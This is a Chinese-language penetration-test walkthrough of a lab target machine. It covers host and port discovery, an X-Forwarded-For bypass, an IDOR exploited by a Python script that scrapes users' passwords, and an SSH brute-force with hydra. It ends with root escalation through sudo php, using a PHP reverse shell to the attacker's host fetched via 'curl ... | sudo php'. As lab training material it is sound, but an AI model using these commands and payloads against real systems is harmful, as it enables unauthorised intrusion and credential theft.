主机发现,靶机地址192.168.80.147
arp-scan -l

端口扫描,开放了22、80端口
nmap -A -p- -sV 192.168.80.147

访问80端口

路径扫描
dirsearch -u "http://192.168.80.147/" -e *



没有发现有价值的信息,访问/index.php/login/发现和主页一样,发现了提示信息
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
Maybe you can search how to use x-forwarded-for


按着提示使用BP添加x-forwarded-for

跳转到/index.php/login/?page=index,共四个功能
home:主页
login:登录
register:注册
about:介绍

在BP中添加一个本地参数,方便以后访问

或者使用火狐的插件

尝试了弱口令爆破,但是没有成功,有尝试注册一个用户然后登陆


发现URL为/index.php?page=dashboard&user_id=12,发现存在水平越权,更改参数值可以查看其他用户的用户名和密码

编写一个脚本,爬取用户信息
#coding=utf-8
import requests
import re
def getUsernamePasswd(id):
cookies = {'PHPSESSID':'gklg9vpe0vlnvkkkjcj80pnhv1'}
headers = {'X-Forwarded-For':'127.0.0.1'}
data = requests.get(url="http://192.168.80.147/index.php?page=profile&user_id=%s" % id,headers=headers,cookies=cookies).text
username = re.search('"username"\svalue="(.*?)"',data).group(1)
passwd = re.search('"password"\svalue="(.*?)"',data).group(1)
return username,passwd
for i in range(0,12):
try:
username,passwd = (getUsernamePasswd(i))
if username:
print(username+":"+passwd)
except:
None

利用收集到的用户信息,爆破ssh
hydra -C userpass ssh://192.168.80.147

登录用户,获得shell

查看可以执行的特权命令。发现可以使用root权限执行php,而且不需要密码
sudo -l

kali创建一个php文件,并开启nc监听
$sock=fsockopen("192.168.80.139",8848);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
使用靶机下载并用sudo执行
curl http://192.168.80.139/glc.php|sudo php

提权成功

结束
